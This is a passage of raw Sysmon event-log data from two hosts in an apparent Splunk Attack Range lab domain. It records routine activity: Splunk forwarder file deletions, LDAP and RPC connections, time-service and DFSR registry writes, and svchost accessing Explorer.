Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F0397ACE1023AFD0BF00A25619029EA5,SHA256=35D1A16F1B0FAF271AB8B11BBAD570D582AFAE2966223F41E2D19B4D75180604,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014682Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:59.574{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9018151FFB1F553012A8F7E8FE5DC15C,SHA256=DD2F604870DD95251DDDFC4E0EA15F91C0E7F60C11FF623C6413428E4E953B4B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:59.245{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=464B07BDBC259EAEB486695A2E0E8950,SHA256=54F2D4D45A2862B2760D39323D880C46F1CCFB8D8B02DD0BF483CD6B4A645F90,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:59.245{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=75815890698731B14AC96550057C10A3,SHA256=1AC8AF63D396E526BBD13CFF17BF4F3665DB46F4D60F903BACED1490CB5175DE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:56.465{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59353-false10.0.1.12-8000- 23542300x800000000000000014683Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:00.589{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8F30BD015A3104A6D0146C2327914872,SHA256=DCB2395674BE9B8996CB81077FBB2B4ECF8DFB0384860B24D258D7FA4916D83D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:57.544{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59354-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000046883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:57.544{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59354-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000014684Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:01.589{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2788B1C4033D1A487D30FA66C0893E94,SHA256=4CBB68F51F38AE9F35444B2DF844EB00E386A7DBD54D49E1589AE91AD42B3A78,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:01.167{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0625DFBFECB1EB42DCF04F2F0A28CA4A,SHA256=C8CCCEA56BCE59F42E761799A03E06FCED36051A0B65BF35BC60B768B4420A8D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014686Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:02.605{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B2BDD74DEA6037D678177525398E4F53,SHA256=8FC2578C115B22BD693126A24A0D9B47044E3C62028D7BBC010ECC92270EC337,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:02.401{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DC8218154C533D488F15D6262B37E793,SHA256=BA46AC2CA1D1E404FF9CAB6FD7C861AD5430138FD522C5988F679A280F4EC0B7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014685Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:02.230{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=B4F07B0B591C4F22EC8F5378891813ED,SHA256=5DC4CFE56B7EF7C5219E8150F0097E8F51202032CB066B568D606D54762085A4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:03.417{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D37DBBA8002ECCC9FB3FA5998D4BFDDD,SHA256=C6304FBAEFAA0F4D1590ED01311E3ED4F79F52D4AEE5D0E5C2EBE9CB3CB5D081,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014688Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:03.621{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=06B1BD10E00753FE81342D433AA7546E,SHA256=89EA90B19DAC74BE303748E222940FAE750CD79DC115E5B18A3A10A7E628DBF5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014687Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:01.416{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50175-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014699Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:04.636{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E385D37EC4C831577A3BD0DF1277DFC2,SHA256=6507F9FBE294CE41E4899117B5293997106C777707675A9B8F87125396D61D75,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:01.559{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59355-false10.0.1.12-8000- 23542300x800000000000000046888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:04.635{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0C679272EA8EDE7B497116C20890AC47,SHA256=F907E3A497DDC78EECBCF9AC00D1FEBAE4795157012CE8B67EDAD103908CD0F4,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000014698Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:49:04.042{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000014697Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:49:04.042{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x00211126) 13241300x800000000000000014696Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:49:04.042{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64a-0x9d9fe8dd) 13241300x800000000000000014695Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:49:04.042{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a652-0xff6450dd) 13241300x800000000000000014694Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:49:04.042{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65b-0x6128b8dd) 13241300x800000000000000014693Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:49:04.042{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000008) 13241300x800000000000000014692Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:49:04.042{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x00211126) 13241300x800000000000000014691Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:49:04.042{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64a-0x9d9fe8dd) 13241300x800000000000000014690Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:49:04.042{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a652-0xff6450dd) 13241300x800000000000000014689Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:49:04.042{625C326B-67ED-613B-0B00-00000000F101}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65b-0x6128b8dd) 23542300x800000000000000014700Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:05.652{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EBA95818C3912D389BA05C0DA4C6CDD3,SHA256=560E9E75AA534430FF58003CDEDDEA09D3FB1D644EADC43B9B0E46E19C6AC70D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:05.667{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=629CD547A464F356C619EE7B8AB5BAB4,SHA256=2B151945397B928BCAECA8D974F0F11DE5B23D236EFAD82217001C615AF0A096,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014701Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:06.667{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B3DA9CA513F8DF1D2BFCB994550EE55E,SHA256=1530738B83C78463AC5FDA729C5FA562797170D472285E1DDD108AD7A585923F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:06.682{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0D0DFF9D53407B3CFEB6217D6DE63DF6,SHA256=55FBB3CE2248511415B0801FF54BF76E1FFB00C1040092B9F82F5E37894D105C,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000046893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:49:06.229{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Volumes\9752B235-0000-0000-0000-100000000000\Volume Configuration File\\.\C:\System Volume Information\DFSR\Config\Volume_9752B235-0000-0000-0000-100000000000.XML 13241300x800000000000000046892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:49:06.214{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Config SourceDWORD (0x00000001) 13241300x800000000000000046891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:49:06.214{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exeHKLM\System\CurrentControlSet\Services\DFSR\Parameters\Replication Groups\A9BEF82B-7554-4A26-9673-C40BC60290B0\Replica Set Configuration File\\?\C:\System Volume Information\DFSR\Config\Replica_A9BEF82B-7554-4A26-9673-C40BC60290B0.XML 354300x800000000000000046924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:05.553{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59358-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000046923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:05.553{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59358-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000046922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:05.545{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59357-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000046921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:05.545{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59357-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000046920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:05.530{7BD73061-65B2-613B-0D00-00000000F001}892C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59356-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000046919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:05.530{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\System32\dfsrs.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59356-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 23542300x800000000000000046918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.714{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BF76A134BFD3E50AE14BE61D2D69E3AC,SHA256=B60B3EA07E6AC1FAD9183115A8C6B61DB4B2D00AE7ED240688B75C361C93A106,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014702Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:07.683{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=18A4BF2303E1642D4F43777B6C9890C6,SHA256=0C2B37AEA4CE83BE8466774A3BE4D2E0637DA34BFE3DBB27334E2C24FE4627C2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.260{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D3CB2EB58D44EAB07268D885ADB0FA66,SHA256=86FE828C8E4CFDC5DD72146F885B0B498BD0E3BB414CF15BEBFD6DF4AC280F88,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.260{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=464B07BDBC259EAEB486695A2E0E8950,SHA256=54F2D4D45A2862B2760D39323D880C46F1CCFB8D8B02DD0BF483CD6B4A645F90,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:07.151{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 